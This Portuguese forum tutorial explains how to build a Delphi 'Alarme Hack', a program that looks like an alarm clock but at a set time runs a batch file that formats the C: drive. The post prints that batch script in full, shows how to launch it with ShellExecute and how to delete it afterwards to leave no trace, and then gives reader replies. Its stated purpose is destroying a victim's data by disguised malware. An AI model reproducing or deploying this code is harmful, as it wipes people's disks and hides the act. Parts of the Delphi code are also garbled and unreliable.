O que é o Alarme Hack?

Ele é um despertador que executa um arquivo .bat que formata o hd na hora programada sem deixar rastros ^^



Preview de como vai ficar parecido:



Vamos la,vou fazer do jeito que fiz o meu ^^


Por ser um projeto com um numero razoavel de componentes vamos organizar em group box

Coloque 3 Group Box

Renomei-os para:

Código:
Horário do Sistema

Alarme

Alarme Hack


No Group Box Horário do sistema coloque:

1Label,1 edit e 1 timer

Citação:
Renomei-e o label renomei-e para Horário Atual
No timer coloque:

Código:
Edit1.Text := TimeToStr(time)*
Explicação:No Edit1 mostra-ra o horário do sistema



No GroupBox Alarme coloque:

1edit,1 label,1 button,1 groupbox e 1 label dentro do group box

Renomei-e o Label externo para:

Citação:
Ativar Alarme as:
No Label dentro do GroupBox r Citação:
enomei-e para Desativado e mude a cor para vermelho
ou qualquer outras.

Renomei-e o button para Começar

E no event onclick coloque:

Código:
If Button1.Caption = 'Começar' then

Begin

Button3.Caption := 'Parar'*

Label4.Caption := 'Ativado'*

Label4.Font.Color := clGreen;

Timer2.Enabled := true;



else

begin

Button3.Caption := 'Começar'*

Label4.Caption := 'Desativado'*

Label4.Font.Color := clRed *

Timer2.Enabled := False;

end;

end;

end
Explicação:Quando o button for ativado irá mudar o label3(no caso o label com caption desativado) irá mudar para cor verde e ativado e quando clickado novamente muda paracomeçar e label desativado na cor vermelha.



No groupbox Alarme Hack coloque:

3CheckBox,1edit ambos na plaheta Standart e 1 timer na palheta system

Renomei-e os Check Box para:

Citação:
Tocar som e Formatar

Mandar Menssagem de Onwed

Formatar HD
No label

Mandar Menssagem de Onwed coloque:

Código:
If CheckBox2.checked = True then Edit3.Enabled := True;

If CheckBox2.checked = False then Edit3.Enabled := False;
PS:Isso não é nada de mais é apenas um adicional no programa coloca quem quiser ^^



Declare na uses:

Citação:
ShellApi


No timer coloque:

Citação:
begin

If Edit1.Text = Edit2.Text Then

Begin



If CheckBox1.Checked = True Then

Begin

MCISendString(PChar('play ' + 'owned.wav', nil, 0, 0)*

begin

ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*

end;

end;

If CheckBox2.Checked = True Then ShowMessage(Edit3.Text)*

begin

ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*

end;

If CheckBox3.Checked = True Then ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*



End;



end;
PS:A parte em vermelha é a parte a ser editada

Explicação:Se o Check Box 1 for ativado tocara o som owned.wav(download no fim do tópico) e executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0

Se o Check box 2 for ativado ele mandará um showmessage com a messagem do edit3 e após executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0

Se o Checkbox 3 for ativado executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0

E como ja disse o local pode ser editado



Vou postar o Script de um bat que formata o HD:

Abra o bloco de notas e coloque:

Citação:
@echo off

format c: /s

cls

exit
Salve no caso Aboult.bat



Pode ser usado a opção de deletefile para não deixar rastros:

Citação:
DeleteFile('C:\Alarme Hack 2.0\Aboult.bat'*

Download

Creditos:Guia do Hardware /Aboult

muito bom
+ 1 crédito

Muito bom
+ 1 Cred

Ñ funfo aki